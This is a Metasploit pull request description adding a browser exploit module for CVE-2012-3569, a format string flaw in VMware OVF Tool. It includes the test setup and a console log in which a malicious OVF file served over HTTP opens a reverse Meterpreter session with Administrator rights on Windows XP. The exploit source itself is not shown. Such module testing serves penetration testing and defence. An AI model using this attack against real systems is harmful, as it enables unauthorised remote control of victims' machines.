rapid7/metasploit-framework — pull request #1438 by jvazquez-r7 (2013-02-04 15:46:57+00:00)
Title: Added module for cve-2012-3569, browser version

Tested with vmware-ovftool-2.1.0-467744-win-i386.msi on Windows XP SP3.

The target machine can open the ovf file via http:

ovftool http://192.168.1.128:8080/lx03IUtmJ2DVYVz

Test:

```
msf > use exploit/windows/browser/ovftool_format_string
msf exploit(ovftool_format_string) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.128:4444
[*] Using URL: http://0.0.0.0:8080/lx03IUtmJ2DVYVz
[*] Local IP: http://192.168.1.128:8080/lx03IUtmJ2DVYVz
[*] Server started.
msf exploit(ovftool_format_string) > [*] 192.168.1.147 ovftool_format_string - Sending OVF exploit...
[*] 192.168.1.147 ovftool_format_string - Sending OVF exploit...
[*] 192.168.1.147 ovftool_format_string - Sending Not Found for Manifest file request...
[*] 192.168.1.147 ovftool_format_string - Sending OVF exploit...
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.147:1101) at 2013-02-04 16:41:57 +0100
[*] Session ID 1 (192.168.1.128:4444 -> 192.168.1.147:1101) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: ovftool.exe (1792)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3404

msf exploit(ovftool_format_string) > s[+] Successfully migrated to process

[-] Unknown command: s.
msf exploit(ovftool_format_string) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32

```